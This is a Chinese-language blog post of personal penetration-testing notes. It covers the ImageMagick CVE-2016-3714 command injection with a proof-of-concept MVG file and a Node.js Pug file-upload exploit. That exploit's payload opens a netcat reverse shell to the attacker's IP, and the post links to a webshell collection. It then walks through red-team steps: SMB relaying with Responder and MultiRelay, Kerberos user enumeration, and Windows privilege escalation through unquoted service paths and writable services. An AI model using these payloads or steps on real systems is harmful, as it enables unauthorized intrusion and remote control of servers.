杂文2

NOTE-2020/3/6

CVE-2016-3714 - ImageMagick 命令执行

https://www.leavesongs.com/PENETRATION/CVE-2016-3714-ImageMagick.html

  • ImageMagick有一个功能叫做delegate(委托),作用是调用外部的lib来处理文件。
    1
    2
    3
    4
    5
    MagickExport int ExternalDelegateCommand(const MagickBooleanType asynchronous, const MagickBooleanType verbose,const char *command,char *message,ExceptionInfo *exception)
    sanitize_command=SanitizeDelegateCommand(command);
    if ((asynchronous != MagickFalse) ||
    (strpbrk(sanitize_command,"&;<>|") != (char *) NULL))
    status=system(sanitize_command);
    可以看到使用了 system 函数执行委托中的 command 内容。

在他的委托配置里可以看到

1
<delegate decode="https" command="&quot;curl&quot; -s -k -o &quot;%o&quot; &quot;https:%M&quot;"/>

可以看到%M被拼接在command里,%M代表图片的远程路径。

  • 这个委托指远程加载https图片,先使用curl下载,%M指代远程路径,因此我们可以使用 " 闭合掉url,然后执行命令。
  • %M 为 : https://"|id && ls -al /etc/passwd",原命令变为 command=" "curl" -s -k -o "%o" "https://"|id && ls -al /etc/passwd"" "/>
  • 因此构造poc.mvg(mvg图片为远程图片,可以包含url)
    1
    2
    3
    4
    push graphic-context
    viewbox 0 0 640 480
    fill 'url(https://"|id; ")'
    pop graphic-context
    漏洞poc : https://github.com/ImageTragick/PoCs

Nodejs Rce

使用 Node,我们不能只通过 Web 浏览器调用文件来执行文件,就像在 PHP 中一样。因此,在这种情况下,我们将使用动态路由端点尝试呈现 Pug 文件的内容。

  • 在上传过程中,文件处理程序模块会将文件重命名为随机字符串,没有扩展名。上传的响应会返回路径

  • payload:

    1
    2
    -var x = global.process.mainModule.require
    -x('child_process').exec('nc [Your_IP] 8888 -e /bin/bash
  • 注: 在pug中,"-" 表示执行js

  • 上传成功后会返回路径

  • 访问 [网站地址]/drouting?filename=../uploads/[你的文件哈希] 即可触发命令执行,服务器将回去连接你的vps的8888端口。

  • 另附:webshell列表

    https://github.com/tennc/webshell

红队攻击

密码喷洒

没啥好说的

进入内网

  • responder

  • MultiRelay

    • 如果不强制smb签名(可以通过nmap获知:https://nmap.org/nsedoc/scripts/smb-security-mode.html )我们何以使用MultiRelay进行中继。
    • 步骤:
      1. 编辑 Responder 配置文件以禁用 SMB 和 HTTP 服务器
      2. python ./Responder.py -I eth0 -rv
      3. ·cd /opt/Responder/tool && ./MultiRelay.py -t -c -u AL
      4. 成功中继的话可以生成基础shell
  • 利用kerberos枚举用户

    • nmap -p88 --script krb5-enum-users --script-args krb5-enum-users.realm=“cyberspacekittens.local”,userdb=/opt/userlist.txt - 需要准备用户列表,但是由于我们只是查询 DC 而没有对其进行身份验证,因此通常此行动不会被检测。
  • 命令查找工具
    记不住的windows命令可以通过这个查找:

    https://github.com/leostat/rtfm

    1
    2
    3
    4
    5
    #更新并运行
    cd /opt/rtfm
    chmod +x rtfm.py
    ./rtfm.py -u
    ./rtfm.py -c ‘rtfm’
    1
    2
    #列出所有标签
    ./rtfm.py -D
    1
    2
    #搜索标签下的命令
    ./rtfm.py -t enumeration | m

    提权

  • 可信任服务路径提权

    windows中的服务一般都是高权限运行,如果服务的路径未被引用且有空格,那windows会先去匹配空格前部的应用名,例如:

    1
    c:\programes\new folder\play hack.exe

    系统的匹配顺序为

    1
    2
    3
    c:\programes\new.exe
    c:\programes\new folder\play.exe
    c:\programes\new folder\play hack.exe

    所以哦我们寻找未安全引用的服务路径并上传恶意程序。

    查找漏洞:wmic service get name,displayname,pathname,startmode|findstr /i "Auto" |findstr /i /v "C:\Windows\" |findstr/i /v """

    icacls 可以查看文件夹权限:

    1
    (M)代表修改权限,(F)代表完全控制,(CI)代表从属容器将继承访问控制项,(OI)代表从属文件将继承访问控制项。
  • 系统服务错误配置

    系统服务一般是开机自动加载,且以system权限运行,如果一个低权限用户拥有对可执行文件写的权力,则可以更改可执行文件,写入恶意shell。

  • 不安全的注册表权限配置


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!